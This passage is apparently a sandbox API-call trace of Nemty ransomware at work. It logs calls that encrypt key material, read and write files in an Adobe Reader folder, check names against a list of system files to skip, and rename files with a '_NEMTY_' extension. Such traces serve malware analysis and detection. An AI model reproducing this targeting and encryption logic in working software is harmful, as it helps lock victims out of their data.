CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0195.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0195.872] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="pshhPSLkHESrM79PCJFGfGzsLwELoZZJraOcvzVFCtKTG8HuoGpuhMnhWrC5awMJ\r\nRZx9V8+OMxDDyablTPO+7nwPdqJrTgCf0XHzNWE/Ut4EHTzdkw2XfoJTehZyzye+\r\nDaKBYRioCJcXrpmBgmPJKtHVOD+zci0zFtEF0O5/ErwMKeBR27xt8+rQ4Ts7lKBU\r\nY0tTU3AlnWkbfsMoP3e6pc0I4rkpMNiDSTuo+SdYJrtA7bTPZoiolm/jPM+/IVZY\r\nJ51YIBJOUmDrGIQSgHN50PRYPKzADhbzlc514F1xCTW00KRBp+9rQgY/PZFCxcuj\r\nkWoXNID1ow6ZIEDdrlTTRg==\r\n", pcchString=0x653e91c) returned 1 [0195.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0195.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0195.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0195.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0195.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0195.872] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.873] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0195.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0195.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.873] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.882] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.882] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.892] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.892] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.892] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.901] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.901] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.910] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.910] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.922] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.922] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.931] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.931] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.950] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.950] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.959] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.959] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.968] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.968] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.968] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.974] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.974] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.980] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.980] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0195.980] CloseHandle (hObject=0xffffffff) returned 0 [0195.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0195.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0195.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0195.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0195.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0195.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0195.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0195.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0195.981] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-h._nemty_kgobjgd_")) returned 0 [0195.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0195.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0195.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0195.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0195.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0195.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0195.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0195.981] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73e, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-UCS2", cAlternateFileName="90PV-R~2")) returned 1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2=".") returned 1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="..") returned 1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="...") returned 1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="windows") returned -1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="$RECYCLE.BIN") returned 1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="rsa") returned -1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="NTDETECT.COM") returned -1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="ntldr") returned -1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="MSDOS.SYS") returned -1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="IO.SYS") returned -1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="boot.ini") returned -1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="boot.ini") returned -1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="AUTOEXEC.BAT") returned -1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="ntuser.dat") returned -1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="desktop.ini") returned -1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="CONFIG.SYS") returned -1 [0195.981] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="RECYCLER") returned -1 [0195.982] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="BOOTSECT.BAK") returned -1 [0195.982] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="bootmgr") returned -1 [0195.982] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="programdata") returned -1 [0195.982] lstrcmpiW (lpString1="90pv-RKSJ-UCS2", lpString2="appdata") returned -1 [0195.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0195.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-UCS2", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90pv-RKSJ-UCS2", lpUsedDefaultChar=0x0) returned 14 [0195.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0195.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0195.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-UCS2", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90pv-RKSJ-UCS2", lpUsedDefaultChar=0x0) returned 14 [0195.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0195.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0195.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-UCS2", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90pv-RKSJ-UCS2", lpUsedDefaultChar=0x0) returned 14 [0195.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0195.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90pv-RKSJ-UCS2", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90pv-RKSJ-UCS2", lpUsedDefaultChar=0x0) returned 14 [0195.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0195.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0195.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0195.982] Sleep (dwMilliseconds=0x5) [0195.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x28784030, dwHighDateTime=0x1d561e8)) [0195.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x28784030, dwHighDateTime=0x1d561e8)) [0195.996] GetLastError () returned 0x5 [0195.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0195.996] GetLastError () returned 0x5 [0195.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0195.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0195.997] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0195.997] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0195.997] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0195.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0195.997] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="4tyPyFvWd0w9+T3AXjwv/uLDzMfF7ZvHWmDOgWkTBu6bKakMKaA/2C8H56GzXv1D\r\n4McM9iIoZ4U6R3kXNSmDRgCyVwHtwebwPO6JE/TR/Nc3L+xcPmugKH8KQ6ofdIBs\r\nYgn1VMIq3/ycW+hhXUSJ5qsIEsgU2XenmYe9J8jbEc0Ma/qHPqRbsZAZJLD+VCab\r\nIS/i9XQnfgzKKUlp2KeYrz0v5qyQciIaWVvOAdqGZw/a/E5gv6Y80X0msESSuvMD\r\ndceEGn0Dt9k5bUI2LDR8irBbTHJ2WnS8GE+G6cwuajaL3sAdJBr2Muhx32bHcECe\r\nN7keB79T6xc8ED4i/G1RRw==\r\n", pcchString=0x653e91c) returned 1 [0195.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0195.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0195.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0195.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0195.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0195.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0195.997] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.997] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0195.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0195.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 